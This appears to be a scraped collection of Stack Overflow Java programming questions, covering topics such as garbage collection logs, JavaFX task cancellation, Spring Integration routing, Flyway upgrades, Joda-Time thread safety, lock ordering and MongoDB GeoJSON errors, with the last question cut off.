2023.858 : [ Full GC [ PSYoungGen : 9766K- > 0K ( 342784K ) ] [ PSOldGen : 1573919K- > 443383K ( 1656064K ) ] 1583686K- > 443383K ( 1998848K ) [ PSPermGen : 168657K- > 168657K ( 262144K ) ] , 2.8910659 secs ] [ Times : user=2.59 sys=0.02 , real=2.90 secs ] 2014-05-06T22:16:32.650-0700 : 2442.188 : [ Full GC [ PSYoungGen : 5856K- > 0K ( 346944K ) ] [ PSOldGen : 1650623K- > 398157K ( 1666944K ) ] 1656479K- > 398157K ( 2013888K ) [ PSPermGen : 176960K- > 153660K ( 262144K ) ] , 5.6906733 secs ] [ Times : user=2.89 sys=0.11 , real=5.69 secs ] 2014-05-06T22:32:40.071-0700 : 3409.496 : [ Full GC [ PSYoungGen : 8566K- > 0K ( 346304K ) ] [ PSOldGen : 1655315K- > 460797K ( 1767360K ) ] 1663882K- > 460797K ( 2113664K ) [ PSPermGen : 155265K- > 155265K ( 262144K ) ] , 3.8090058 secs ] [ Times : user=2.81 sys=0.03 , real=3.81 secs ] 2014-05-06T22:37:53.667-0700 : 3723.074 : [ Full GC [ PSYoungGen : 10243K- > 0K ( 347456K ) ] [ PSOldGen : 1761438K- > 458285K ( 1835712K ) ] 1771681K- > 458285K ( 2183168K ) [ PSPermGen : 162919K- > 162919K ( 262144K ) ] , 4.0235684 secs ] [ Times : user=2.47 sys=0.06 , real=4.02 secs ] 2014-05-06T22:49:53.387-0700 : 4442.757 : [ Full GC [ PSYoungGen : 6441K- > 0K ( 348224K ) ] [ PSOldGen : 1823902K- > 451504K ( 1872448K ) ] 1830344K- > 451504K ( 2220672K ) [ PSPermGen : 171778K- > 171778K ( 262144K ) ] , 2.7130221 secs ] [ Times : user=2.62 sys=0.02 , real=2.71 secs ] 2014-05-06T22:59:59.750-0700 : 5049.088 : [ Full GC [ PSYoungGen : 6708K- > 0K ( 347904K ) ] [ PSOldGen : 1862823K- > 365106K ( 1845248K ) ] 1869532K- > 365106K ( 2193152K ) [ PSPermGen : 180349K- > 154273K ( 262144K ) ] , 9.6984956 secs ] [ Times : user=2.74 sys=0.16 , real=9.70 secs ] 2014-05-06T23:10:35.103-0700 : 5684.407 : [ Full GC [ PSYoungGen : 7984K- > 0K ( 352192K ) ] [ PSOldGen : 1843448K- > 585793K ( 2170304K ) ] 1851433K- > 585793K ( 2522496K ) [ PSPermGen : 160183K- > 160183K ( 262144K ) ] , 2.9633020 secs ] [ Times : user=2.93 sys=0.00 , real=2.96 secs ] 2014-05-06T23:24:38.972-0700 : 6528.232 : [ Full GC [ PSYoungGen : 7376K- > 0K ( 345344K ) ] [ PSOldGen : 2159450K- > 684719K ( 2346304K ) ] 2166826K- > 684719K ( 2691648K ) [ PSPermGen : 164349K- > 164349K ( 262144K ) ] , 8.8952964 secs ] [ Times : user=3.39 sys=0.05 , real=8.90 secs ] 2014-05-06T23:28:10.950-0700 : 6740.198 : [ Full GC [ PSYoungGen : 9085K- > 0K ( 346368K ) ] [ PSOldGen : 2343205K- > 724235K ( 2458176K ) ] 2352290K- > 724235K ( 2804544K ) [ PSPermGen : 186771K- > 186771K ( 262144K ) ] , 3.5238065 secs ] [ Times : user=3.29 sys=0.00 , real=3.52 secs ] 2014-05-06T23:33:58.654-0700 : 7087.885 : [ Full GC [ PSYoungGen : 9551K- > 0K ( 349184K ) ] [ PSOldGen : 2453964K- > 597434K ( 2438976K ) ] 2463516K- > 597434K ( 2788160K ) [ PSPermGen : 205948K- > 166988K ( 262144K ) ] , 12.9225761 secs ] [ Times : user=3.59 sys=0.12 , real=12.92 secs ] 2014-05-06T23:48:13.206-0700 : 7942.391 : [ Full GC [ PSYoungGen : 37116K- > 0K ( 313728K ) ] [ PSOldGen : 2422753K- > 610864K ( 2500736K ) ] 2459870K- > 610864K ( 2814464K ) [ PSPermGen : 172487K- > 172487K ( 262144K ) ] , 4.9881546 secs ] [ Times : user=3.28 sys=0.03 , real=4.99 secs ] 2014-05-07T00:06:19.018-0700 : 9028.146 : [ Full GC [ PSYoungGen : 8589K- > 0K ( 321920K ) ] [ PSOldGen : 2492066K- > 620020K ( 2538304K ) ] 2500655K- > 620020K ( 2860224K ) [ PSPermGen : 179888K- > 179888K ( 262144K ) ] , 3.5624930 secs ] [ Times : user=3.10 sys=0.06 , real=3.56 secs ] 2014-05-07T00:13:51.029-0700 : 9480.134 : [ Full GC [ PSYoungGen : 8736K- > 0K ( 330688K ) ] [ PSOldGen : 2529168K- > 564197K ( 2540800K ) ] 2537904K- > 564197K ( 2871488K ) [ PSPermGen : 185765K- > 185765K ( 262144K ) ] , 3.0340707 secs ] [ Times : user=2.95 sys=0.00 , real=3.03 secs ] 2014-05-07T00:25:39.758-0700 : 10188.825 : [ Full GC [ PSYoungGen : 17725K- > 0K ( 315392K ) ] [ PSOldGen : 2500502K- > 543855K ( 2582528K ) ] 2518228K- > 543855K ( 2897920K ) [ PSPermGen : 190076K- > 167636K ( 262144K ) ] , 12.3609341 secs ] [ Times : user=3.77 sys=0.16 , real=12.36 secs ] 2014-05-07T00:44:01.053-0700 : 11290.063 : [ Full GC [ PSYoungGen : 12896K- > 0K ( 347264K ) ] [ PSOldGen : 2575016K- > 547199K ( 2621184K ) ] 2587912K- > 547199K ( 2968448K ) [ PSPermGen : 172447K- > 172447K ( 262144K ) ] , 6.9150070 secs ] [ Times : user=3.15 sys=0.03 , real=6.92 secs ] 2014-05-07T01:41:59.932-0700 : 14768.758 : [ Full GC [ PSYoungGen : 23293K- > 0K ( 337152K ) ] [ PSOldGen : 2638852K- > 580840K ( 2712704K ) ] 2662146K- > 580840K ( 3049856K ) [ PSPermGen : 175259K- > 175259K ( 262144K ) ] , 11.0725751 secs ] [ Times : user=3.32 sys=0.13 , real=11.07 secs ] 2014-05-07T01:47:58.358-0700 : 15127.165 : [ Full GC [ PSYoungGen : 4176K- > 0K ( 315392K ) ] [ PSOldGen : 2684820K- > 577513K ( 2738176K ) ] 2688996K- > 577513K ( 3053568K ) [ PSPermGen : 179064K- > 179064K ( 262144K ) ] , 6.5166056 secs ] [ Times : user=3.01 sys=0.02 , real=6.52 secs ] 2014-05-07T01:55:50.842-0700 : 15599.624 : [ Full GC [ PSYoungGen : 18686K- > 0K ( 319616K ) ] [ PSOldGen : 2735388K- > 490034K ( 2761664K ) ] 2754074K- > 490034K ( 3081280K ) [ PSPermGen : 182650K- > 169843K ( 262144K ) ] , 21.2209796 secs ] [ Times : user=3.76 sys=0.45 , real=21.22 secs ] 2014-05-07T02:10:06.723-0700 : 16455.460 : [ Full GC [ PSYoungGen : 5561K- > 0K ( 321600K ) ] [ PSOldGen : 2752252K- > 569179K ( 2785280K ) ] 2757813K- > 569179K ( 3106880K ) [ PSPermGen : 175120K- > 175120K ( 262144K ) ] , 3.2125221 secs ] [ Times : user=3.15 sys=0.02 , real=3.21 secs ] 2014-05-07T02:22:36.759-0700 : 17205.457 : [ Full GC [ PSYoungGen : 16798K- > 0K ( 330304K ) ] [ PSOldGen : 2775106K- > 580162K ( 2785280K ) ] 2791904K- > 580162K ( 3115584K ) [ PSPermGen : 181215K- > 181215K ( 262144K ) ] , 3.1422615 secs ] [ Times : user=3.10 sys=0.02 , real=3.14 secs ] 2014-05-07T02:45:44.317-0700 : 18592.941 : [ Full GC [ PSYoungGen : 45049K- > 0K ( 315392K ) ] [ PSOldGen : 2769893K- > 624026K ( 2785280K ) ] 2814943K- > 624026K ( 3100672K ) [ PSPermGen : 200552K- > 200552K ( 262144K ) ] , 3.4347254 secs ] [ Times : user=3.29 sys=0.00 , real=3.44 secs ] 2014-05-07T03:08:18.628-0700 : 19947.181 : [ Full GC [ PSYoungGen : 5888K- > 0K ( 315392K ) ] [ PSOldGen : 2783516K- > 419007K ( 2699456K ) ] 2789404K- > 419007K ( 3014848K ) [ PSPermGen : 218078K- > 169930K ( 262144K ) ] , 11.5310136 secs ] [ Times : user=3.17 sys=0.20 , real=11.53 secs ] 2014-05-07T03:34:53.638-0700 : 21542.106 : [ Full GC [ PSYoungGen : 13636K- > 0K ( 315392K ) ] [ PSOldGen : 2691667K- > 554781K ( 2785280K ) ] 2705303K- > 554781K ( 3100672K ) [ PSPermGen : 180174K- > 180174K ( 262144K ) ] , 2.9612961 secs ] [ Times : user=2.95 sys=0.02 , real=2.96 secs ] 2014-05-07T03:48:06.871-0700 : 22335.298 : [ Full GC [ PSYoungGen : 45029K- > 0K ( 315392K ) ] [ PSOldGen : 2757384K- > 645664K ( 2785280K ) ] 2802414K- > 645664K ( 3100672K ) [ PSPermGen : 191439K- > 191439K ( 262144K ) ] , 4.0145124 secs ] [ Times : user=3.20 sys=0.05 , real=4.01 secs ] 2014-05-07T03:52:48.829-0700 : 22617.241 : [ Full GC [ PSYoungGen : 9744K- > 0K ( 315392K ) ] [ PSOldGen : 2773296K- > 575320K ( 2785280K ) ] 2783041K- > 575320K ( 3100672K ) [ PSPermGen : 199506K- > 199506K ( 262144K ) ] , 3.2600004 secs ] [ Times : user=3.20 sys=0.00 , real=3.26 secs ] 2014-05-07T03:57:47.110-0700 : 22915.506 : [ Full GC [ PSYoungGen : 10560K- > 0K ( 315392K ) ] [ PSOldGen : 2771785K- > 436271K ( 2748608K ) ] 2782345K- > 436271K ( 3064000K ) [ PSPermGen : 215637K- > 170286K ( 262144K ) ] , 6.1593551 secs ] [ Times : user=3.21 sys=0.05 , real=6.16 secs ] 2014-05-07T04:05:46.130-0700 : 23394.501 : [ Full GC [ PSYoungGen : 45046K- > 0K ( 315392K ) ] [ PSOldGen : 2699071K- > 624303K ( 2785280K ) ] 2744117K- > 624303K ( 3100672K ) [ PSPermGen : 182442K- > 182442K ( 262144K ) ] , 3.2887751 secs ] [ Times : user=3.25 sys=0.00 , real=3.29 secs ] 2014-05-07T04:09:00.646-0700 : 23589.007 : [ Full GC [ PSYoungGen : 45044K- > 0K ( 315392K ) ] [ PSOldGen : 2716819K- > 709830K ( 2785280K ) ] 2761863K- > 709830K ( 3100672K ) [ PSPermGen : 187436K- > 187436K ( 262144K ) ] , 3.4306116 secs ] [ Times : user=3.40 sys=0.00 , real=3.43 secs ]",Very slow Java full GC wall clock +Java,"This method will take in a Long and return a LongStream of prime numbers for any digit passed to the method.factors.javaUtilizing the above method to find common factors first is ok.primeFactors.javaI understand this should be easily circumvented with the use of a simple isPrime ( ) method with a predicate , but is there a way to do the same thing for for prime factors but only with a single method ?","public LongStream factors ( long x ) { LongStream factorStream = LongStream.range ( 1 , x+1 ) .filter ( n - > x % n == 0 ) ; return factorStream ; } public LongStream primeFactors ( long x ) { LongStream primeFactorStream = factors ( x ) .filter ( n - > factors ( n ) .count ( ) == 0 ) ; //does n't work as factors.java returns a LongStream , which might include non-prime factors , which will not equate to zero . return primeFactorStream ; }",Getting prime factors in functional Java streams with a single method ? +Java,"My application contains a ListView that kicks off a background task every time an item is selected . The background task then updates information on the UI when it completes successfully.However , when the user quickly clicks one item after another , all these tasks continue and the last task to complete `` wins '' and updates the UI , regardless of which item was selected last.What I need is to somehow ensure this task only has one instance of it running at any given time , so cancel all prior tasks before starting the new one.Here is an MCVE that demonstrates the issue : When clicking on several items in random order , the outcome is unpredictable . What I need is for the label to be updated to show the results from the last Task that was executed.Do I need to somehow schedule the tasks or add them to a service in order to cancel all prior tasks ? EDIT : In my real world application , the user selects an item from the ListView and the background task reads a database ( a complex SELECT statement ) to get all the information associated with that item . Those details are then displayed in the application.The issue that is happening is when the user selects an item but changes their selection , the data returned displayed in the application could be for the first item selected , even though a completely different item is now chosen.Any data returned from the first ( ie : unwanted ) selection can be discarded entirely .","import javafx.application.Application ; import javafx.concurrent.Task ; import javafx.geometry.Insets ; import javafx.geometry.Pos ; import javafx.scene.Scene ; import javafx.scene.control.Label ; import javafx.scene.control.ListView ; import javafx.scene.layout.VBox ; import javafx.stage.Stage ; public class taskRace extends Application { private final ListView < String > listView = new ListView < > ( ) ; private final Label label = new Label ( `` Nothing selected '' ) ; private String labelValue ; public static void main ( String [ ] args ) { launch ( args ) ; } @ Override public void start ( Stage stage ) throws Exception { // Simple UI VBox root = new VBox ( 5 ) ; root.setAlignment ( Pos.CENTER ) ; root.setPadding ( new Insets ( 10 ) ) ; root.getChildren ( ) .addAll ( listView , label ) ; // Populate the ListView listView.getItems ( ) .addAll ( `` One '' , `` Two '' , `` Three '' , `` Four '' , `` Five '' ) ; // Add listener to the ListView to start the task whenever an item is selected listView.getSelectionModel ( ) .selectedItemProperty ( ) .addListener ( ( observableValue , oldValue , newValue ) - > { if ( newValue ! = null ) { // Create the background task Task task = new Task ( ) { @ Override protected Object call ( ) throws Exception { String selectedItem = listView.getSelectionModel ( ) .getSelectedItem ( ) ; // Do long-running task ( takes random time ) long waitTime = ( long ) ( Math.random ( ) * 15000 ) ; System.out.println ( `` Waiting `` + waitTime ) ; Thread.sleep ( waitTime ) ; labelValue = `` You have selected item : `` + selectedItem ; return null ; } } ; // Update the label when the task is completed task.setOnSucceeded ( event - > { label.setText ( labelValue ) ; } ) ; new Thread ( task ) .start ( ) ; } } ) ; stage.setScene ( new Scene ( root ) ) ; stage.show ( ) ; } }",How to cancel a task if new instance of task is started ? +Java,"I have a method in one of the classes in my code base that for the life of me , I can not get into with my junit tests.Basically this class is called when I request a database connection , if a stale connection is returned , a new connection is establishedHere is the snippet of the mthod in my class ( trimmed down for this purpose ) Any idea how I can ensure my junit tests execute the if statement ? I am currently using EasyMock and Powermock but I can not find a way to get into this if statment using these toolsAll help is greatly appreciatedThank youDamien","public class TCSOracleDataSourceWrapper extends OracleDataSource { private static final int STALE_CONNECTION_EX_CODE = 17143 ; private OracleConnectionCacheManager cacheManager ; private String cacheName ; /** Local log variable **/private final Log logger = LogFactory.getLog ( getClass ( ) ) ; /** * Class constructor * @ throws SQLException */public TCSOracleDataSourceWrapper ( ) throws SQLException { super ( ) ; } private static final long serialVersionUID = 1L ; @ Override/** * Get a connection but if the connection is stale then refresh all DB connections * */public final Connection getConnection ( ) throws SQLException { logger.debug ( `` Retrieving a database connection from the pool '' ) ; Connection connection = null ; try { connection = super.getConnection ( ) ; } catch ( SQLException e ) { if ( e.getErrorCode ( ) == STALE_CONNECTION_EX_CODE ) { logger.error ( `` Stale Oracle connection found in the Connection Pool . Refreshing invalid DB connections . `` ) ; //refresh invalid connections cacheManager.refreshCache ( cacheName , OracleConnectionCacheManager.REFRESH_INVALID_CONNECTIONS ) ; //now try to get the connection again connection = super.getConnection ( ) ; } else { throw e ; } } return connection ; } }",Java - Code Coverage +Java,"I always check the arguments of public functions and throw exceptions when something 's wrong . ( For private helpers I use assertions ) .Like this : But it always annoys me to write these error messages . The message seems redundant to me , as the message is just the negation of the statement.It also often happens that I rename the variable with refactoring ( in eclipse ) and then the message does not reflect the changes . Or I change the conditions and forget to change the messages.It would be great , if I could write something like : This should raise an IllegalArgumentException with a message like In C you could write a macro ( actually in C assert is just a macro ) .Is there a simple way to do something like this in java ? Thank you !",if ( a < 0 || a > = b ) throw new IllegalArgumentException ( `` ' a ' must be greater or equal to 0 and smaller than b `` ) ; a < 0 || a > = b assertArgument ( a > = 0 & & a < b ) ; `` violated argument assertion : a > = 0 & & a < b . '',Automated IllegalArgumentException message ? +Java,"Let 's say I have two critial resources , foo and bar . I protect them with some ReentrantReadWriteLocksMost operations only use foo OR bar , but some of them happen to use both . Now when using a single lock , you ca n't just do this : If an exception is thrown , your foo will become forever locked . Instead you wrap it , likeBut what if I need to work on both ? Is it safe to put them in one block ? Option 1Or is it necessary to give each lock its own block : Option 2I ca n't have been the first person to have hard to investigate this before ... I know option 2 there is `` bulletproof '' but it 's also a significant amount more maintenance . Is option 1 acceptable ?",ReentrantReadWriteLock foo = new RRWL ( ) ... ReentrantReadWriteLock bar = new RRWL ( ) ... void foo ( ) { foo.writeLock ( ) .lock ( ) ; privateWorkOnFoo ( ) ; foo.writeLock ( ) .unlock ( ) ; } void foo ( ) { try { foo.writeLock ( ) .lock ( ) ; privateWorkOnFoo ( ) ; } finally { foo.writeLock ( ) .unlock ( ) ; } } try { foo.writeLock ( ) .lock ( ) ; bar.writeLock ( ) .lock ( ) ; magic ( ) ; } finally { bar.writeLock ( ) .unlock ( ) ; foo.writeLock ( ) .unlock ( ) ; } try { foo.writeLock ( ) .lock ( ) ; try { bar.writeLock ( ) .lock ( ) ; magic ( ) ; } finally { bar.writeLock ( ) .unlock ( ) ; } } finally { foo.writeLock ( ) .unlock ( ) ; },Is it safe to lock multiple ReentrantReadWriteLocks in the same try block ? +Java,"I 'm using joda due to it 's good reputation regarding multi threading . It goes great distances to make multi threaded date handling efficient , for example by making all Date/Time/DateTime objects immutable.But here 's a situation where I 'm not sure if Joda is really doing the right thing . It probably does , but I 'm very interested to see an explanation.When a toString ( ) of a DateTime is being called Joda does the following : All formatters are thread safe ( they immutable as well ) , but what 's about the formatter-factory : This is a common pattern in single threaded applications but it is known to be error-prone in a multithreaded environment . I see the following dangers : Race condition during null check -- > worst case : two objects get created.No Problem , as this is solely a helper object ( unlike a normal singleton pattern situation ) , one gets saved in dt , the other is lost and will be garbage collected sooner or later.the static variable might point to a partially constructed object before the objec has been finished initialization ( before calling me crazy , read about a similar situation in this Wikipedia article . ) So how does Joda ensure that no partially created formatter gets published in this static variable ? Thanks for your explanations ! Reto",/* org.joda.time.base.AbstractInstant */public String toString ( ) { return ISODateTimeFormat.dateTime ( ) .print ( this ) ; } private static DateTimeFormatter dt ; /* org.joda.time.format.ISODateTimeFormat */public static DateTimeFormatter dateTime ( ) { if ( dt == null ) { dt = new DateTimeFormatterBuilder ( ) .append ( date ( ) ) .append ( tTime ( ) ) .toFormatter ( ) ; } return dt ; },Partially constructed object / Multi threading +Java,"I am struggling for a couple of days to make this work . What I am trying to accomplish is to call different subflows ( that are Integration flow ) , from the main flow , based on message content and after subflow finishes to return to main flow . Its like delegation responsibility to a specific class to finish something and to return to main flow . That responsibility can also require some steps , so its implemented as flow as well . Here is my main flow : } Here is implementation of router : and here is an example of one subflow : The trouble is that subflow miss some connection with main flow . I tried to solve that by using defaultOutputToParentFlow ( ) in routing part but that 's not enough .","public IntegrationFlow processingFlow ( MessageChannel eventIn , MessageChannel eventOut , ChangedEventsLoader changedEventsLoader , CalculatorRouter calculatorRouter ) { return IntegrationFlows.from ( eventIn ) .handle ( changedEventsLoader ) .route ( CalculatorRouter : :getSportId , CalculatorRouter : :routeCalculation ) .channel ( eventOut ) .get ( ) ; @ Service @ AllArgsConstructorpublic class CalculatorRouter { private final MessageChannel eventOut ; public RouterSpec < Integer , MethodInvokingRouter > routeCalculation ( RouterSpec < Integer , MethodInvokingRouter > mapping ) { return mapping .channelMapping ( 1 , `` subflowCalculationChannel '' ) .defaultOutputToParentFlow ( ) ; } public Integer getSportId ( Event event ) { return 1 ; } @ Bean public MessageChannel subflowCalculationChannel ( ) { return MessageChannels.direct ( ) .get ( ) ; } } @ Configuration @ AllArgsConstructorpublic class CalculatorExample { @ Bean public IntegrationFlow calculateProbabilities ( MessageChannel subflowCalculationChannel ) { return IntegrationFlows.from ( subflowCalculationChannel ) . < Event > handle ( ( p , m ) - > p * 2 ) .get ( ) ; } }",Spring integration routing to subflow in different class +Java,"I 'm trying to upgrade my Spring Boot 2.3.4 app to use Flyway 7.0.0 ( the latest version ) . Previously it was using Flyway 6.5.6 . The relevant entries in build.gradle are shown below.The following error occurs when I start the app e.g . with ./gradlew bootRunAPPLICATION FAILED TO STARTDescription : An attempt was made to call a method that does not exist . The attemptwas made from the following location : The following method did not exist : The method 's class , org.flywaydb.core.Flyway , is available from thefollowing locations : The class hierarchy was loaded from the following locations : Action : Correct the classpath of your application so that it contains asingle , compatible version of org.flywaydb.core.Flyway",buildscript { ext { flywayVersion = `` 7.0.0 '' // changed from 6.5.6 } } plugins { id `` org.flywaydb.flyway '' version `` $ { flywayVersion } '' } dependencies { implementation `` org.flywaydb : flyway-core : $ { flywayVersion } '' } flyway { url = `` jdbc : postgresql : //0.0.0.0:5432/postgres '' user = `` postgres '' password = `` secret '' } org.springframework.boot.autoconfigure.flyway.FlywayMigrationInitializer.afterPropertiesSet ( FlywayMigrationInitializer.java:65 ) 'int org.flywaydb.core.Flyway.migrate ( ) ' jar : file : /Users/antonio/.gradle/caches/modules-2/files-2.1/org.flywaydb/flyway-core/7.0.0/623494c303c62080ca1bc5886098ee65d1a5528a/flyway-core-7.0.0.jar ! /org/flywaydb/core/Flyway.class org.flywaydb.core.Flyway : file : /Users/antonio/.gradle/caches/modules-2/files-2.1/org.flywaydb/flyway-core/7.0.0/623494c303c62080ca1bc5886098ee65d1a5528a/flyway-core-7.0.0.jar,Failed to ugrade a Spring Boot app to Flyway 7.0.0 +Java,My simulation is using actors and Scala 2.8-Snapshot . In Java JRE 1.5 it runs well - all 40 gears ( actors ) are working simultaneously . Using Java JRE 1.6 only 3 gears are working simultaneously . I tested it with and without GUI : both give same result.My simulation with GUI is available on github : http : //github.com/pmeiclx/scala_gear_simulationMaybe you remember to my first problem with actors . After solving these problems I did a GUI for the simulation and I got this new `` strange '' behavior . Here 's the code without GUI :,"package ch.clx.actorversionsimport actors.Actorimport actors.Actor._import collection.mutable.ListBuffercase class ReceivedSpeed ( gear : Gear ) case object StartSynccase class SyncGear ( controller : GearController , syncSpeed : Int ) object ActorVersion { def main ( args : Array [ String ] ) = { println ( `` [ App ] start with creating gears '' ) val gearList = new ListBuffer [ Gear ] ( ) for ( i < - 0 until 100 ) { gearList += new Gear ( i ) } val gearController = new GearController ( gearList ) gearController.start ( ) gearController ! StartSync } } /** * CONTROLLER */class GearController ( nGears : ListBuffer [ Gear ] ) extends Actor { private var syncGears = new ListBuffer [ Gear ] private var syncSpeed = 0 def act = { while ( true ) { receive { case StartSync = > { println ( `` [ Controller ] Send commands for syncing to gears ! '' ) var speeds = new ListBuffer [ Int ] nGears.foreach ( e = > speeds += e.speed ) //Calc avg //var avgSpeed = speeds.foldLeft ( 0 ) ( _ + _ ) / speeds.length //var avgSpeed = speeds.foldLeft ( 0 ) { ( x , y ) = > x + y } / speeds.length syncSpeed = ( 0/ : speeds ) ( _ + _ ) / speeds.length //Average over all gear speeds //TODO syncSpeed auf Median ausrichten println ( `` [ Controller ] calculated syncSpeed : `` +syncSpeed ) nGears.foreach { e = > e.start ( ) e ! SyncGear ( this , syncSpeed ) } println ( `` [ Controller ] started all gears '' ) } case ReceivedSpeed ( gear : Gear ) = > { println ( `` [ Controller ] Syncspeed received by a gear ( `` +gear.gearId+ '' ) '' ) //println ( `` [ Controller ] mailboxsize : `` +self.mailboxSize ) syncGears += gear if ( syncGears.length == nGears.length ) { println ( `` [ Controller ] all gears are back in town ! '' ) System.exit ( 0 ) } } case _ = > println ( `` [ Controller ] No match : ( `` ) } } } } /** * GEAR */class Gear ( id : Int ) extends Actor { private var mySpeed = scala.util.Random.nextInt ( 1000 ) private var myController : GearController = null def speed = mySpeed def gearId = id /* Constructor */ println ( `` [ Gear ( `` +id+ '' ) ] created with speed : `` +mySpeed ) def act = { loop { react { case SyncGear ( controller : GearController , syncSpeed : Int ) = > { //println ( `` [ Gear ( `` +id+ '' ) ] activated , try to follow controller command ( form mySpeed ( `` +mySpeed+ '' ) to syncspeed ( `` +syncSpeed+ '' ) '' ) myController = controller adjustSpeedTo ( syncSpeed ) } } } } def adjustSpeedTo ( targetSpeed : Int ) = { if ( targetSpeed > mySpeed ) { mySpeed += 1 self ! SyncGear ( myController , targetSpeed ) } else if ( targetSpeed < mySpeed ) { mySpeed -= 1 self ! SyncGear ( myController , targetSpeed ) } else if ( targetSpeed == mySpeed ) { callController } } def callController = { println ( `` [ Gear ( `` +id+ '' ) ] has syncSpeed '' ) myController ! ReceivedSpeed ( this ) } }",Scala Actors : Different behavior on JRE 1.5 and 1.6 +Java,"recently I learned about the two 's compliment method of representing both positive and negative integers in the base two system . I then tried to see this in action using java with the following short code : Which outputs : a : 2147483647a+1 : -2147483648b : 32767b+1 : 32768Which confuses me because I would think that b+1 , being represented in binary as 011111111111111 , would turn into 1000000000000000 , or in decimal , -32768 . What 's going on ?",int a=2147483647 ; System.out.println ( `` a : `` +a ) ; System.out.println ( `` a+1 : `` + ( a+1 ) ) ; short b=32767 ; System.out.println ( `` b : `` +b ) ; System.out.println ( `` b+1 : `` + ( b+1 ) ) ;,Largest Java Short ( 32767 ) plus 1 not turning negative ? +Java,"I 'd like to use reflection to get a method of a Java object from Clojure . One of the argument types is a Java primitive and I do n't know how to refer to them from Clojure.For example , say I wanted to get String.valueOf ( boolean ) . My nearest guess would be to dobut this fails because Boolean is not the primitive type itself , but the boxed version . I 've tried boolean , but that refers to a built-in Clojure function , and bool is undefined.How do I refer to a primitive Java type in Clojure ?",( .getDeclaredMethod String `` valueOf '' ( into-array [ Boolean ] ) ),How do you refer to primitive Java types in Clojure ? +Java,"Given an array of int values , how could one parse the series into counting sequence notation ? Examples : I 'm looking for a method that would produce these results . This is what I have so far , but I 'm very much stumped at this point : Test Code : Output :","{ 1 , 2 , 3 , 4 , 5 , 9 , 13 , 14 , 15 } - > `` 1-5,9,13-15 '' { 4 , 6 , 8 , 10 , 11 , 12 , 15 , 17 } - > `` 4,6,8,10-12,15,17 '' import java.util.Arrays ; public class TestSequencing { public static void main ( String [ ] args ) { int [ ] numbers1 = { 1 , 2 , 3 , 4 , 5 , 9 , 13 , 14 , 15 } ; String numbers1s = `` 1-5,9,13-15 '' ; System.out.println ( Arrays.toString ( numbers1 ) ) ; System.out.println ( `` Expected : \t '' + numbers1s ) ; System.out.println ( `` Produced : \t '' + sequenceNums ( numbers1 ) + `` \n '' ) ; int [ ] numbers2 = { 3 , 5 , 6 , 9 , 12 } ; String numbers2s = `` 3,5-6,9,12 '' ; System.out.println ( Arrays.toString ( numbers2 ) ) ; System.out.println ( `` Expected : \t '' + numbers2s ) ; System.out.println ( `` Produced : \t '' + sequenceNums ( numbers2 ) + `` \n '' ) ; int [ ] numbers3 = { 1 , 2 , 3 , 4 , 5 , 6 , 7 } ; String numbers3s = `` 1-7 '' ; System.out.println ( Arrays.toString ( numbers3 ) ) ; System.out.println ( `` Expected : \t '' + numbers3s ) ; System.out.println ( `` Produced : \t '' + sequenceNums ( numbers3 ) + `` \n '' ) ; } public static String sequenceNums ( int [ ] nums ) { StringBuilder sb = new StringBuilder ( ) ; int rangeStart = nums [ 0 ] ; int previous = nums [ 0 ] ; int current ; int expected = previous + 1 ; for ( int i = 1 ; i < nums.length ; i++ ) { current = nums [ i ] ; expected = previous + 1 ; if ( current ! = expected || i == ( nums.length - 1 ) ) { if ( current == rangeStart ) { sb.append ( previous + `` , '' ) ; } else { sb.append ( rangeStart + `` - '' + previous + `` , '' ) ; } rangeStart = current ; } previous = current ; } if ( sb.charAt ( sb.length ( ) - 1 ) == ' , ' ) { sb.deleteCharAt ( sb.length ( ) - 1 ) ; } return sb.toString ( ) ; } } [ 1 , 2 , 3 , 4 , 5 , 9 , 13 , 14 , 15 ] Expected : 1-5,9,13-15Produced : 1-5,9-9,13-14 [ 3 , 5 , 6 , 9 , 12 ] Expected : 3,5-6,9,12Produced : 3-3,5-6,9-9 [ 1 , 2 , 3 , 4 , 5 , 6 , 7 ] Expected : 1-7Produced : 1-6",Java : Convert int [ ] to smallest representation as ranges +Java,I get the error in one of the polygons i am importing.Full stack Trace : https : //gist.github.com/boundaries-io/927aa14e8d1e42d7cf516dc25b6ebb66 # file-stacktraceGeoJson MultiPolygon I am importing using Spring Data MongoDBHow can i avoid this error in Java ? I can load the geojson fine in http : //geojson.iohere is the GEOJSON : https : //gist.github.com/boundaries-io/4719bfc386c3728b36be10af29860f4c # file-rol-ca-part1-geojsonremoval of duplicates using : Logging :,"Write failed with error code 16755 and error message 'Ca n't extract geo keys : { _id : `` b9c5ac0c-e469-4b97-b059-436cd02ffe49 '' , _class : ... . ] Duplicate vertices : 0 and 15 ' public class MyPolgyon { @ Id String id ; @ GeoSpatialIndexed ( type=GeoSpatialIndexType.GEO_2DSPHERE ) GeoJsonPoint position ; @ GeoSpatialIndexed ( type=GeoSpatialIndexType.GEO_2DSPHERE ) GeoJsonPoint location ; @ GeoSpatialIndexed ( type=GeoSpatialIndexType.GEO_2DSPHERE ) GeoJsonPolygon polygon ; public static GeoJsonPolygon generateGeoJsonPolygon ( List < LngLatAlt > coordinates ) { List < Point > points = new ArrayList < Point > ( ) ; for ( LngLatAlt point : coordinates ) { org.springframework.data.geo.Point dataPoint = new org.springframework.data.geo.Point ( point.getLongitude ( ) , point.getLatitude ( ) ) ; points.add ( dataPoint ) ; } return new GeoJsonPolygon ( points ) ; } for ( com.vividsolutions.jts.geom.Coordinate coordinate : geometry.getCoordinates ( ) ) { Point lngLatAtl = new Point ( coordinate.x , coordinate.y ) ; boolean isADup = points.contains ( lngLatAtl ) ; if ( ! notDup ) { points.add ( lngLatAtl ) ; } else { LOGGER.debug ( `` Duplicate , [ `` + lngLatAtl.toString ( ) + '' ] index [ `` + count + '' ] '' ) ; } count++ ; } 2017-10-27 22:38:18 DEBUG TestBugs:58 - Duplicate , [ Point [ x=-97.009868 , y=52.358242 ] ] index [ 15 ] 2017-10-27 22:38:18 DEBUG TestBugs:58 - Duplicate , [ Point [ x=-97.009868 , y=52.358242 ] ] index [ 3348 ]","Using Spring Data , Mongodb , how can I avoid Duplicate vertices error" +Java,"Is it safe to remove multiple items from an ArrayList while iterating through it with an iterator ? The work ( ) method gives back a list of names that should be removed from the nameList , during the runtime of while loop .",Iterator < String > iterator = nameList.iterator ( ) ; while ( iterator.hasNext ( ) ) { String s = iterator.next ( ) ; List < String > list = work ( s ) ; for ( String s1 : list ) { nameList.remove ( s1 ) ; } },Remove multiple items from ArrayList during iterator +Java,"There is a vendor-supplied XML like this : Note there is no xmlns= '' ... '' declaration , nor does the 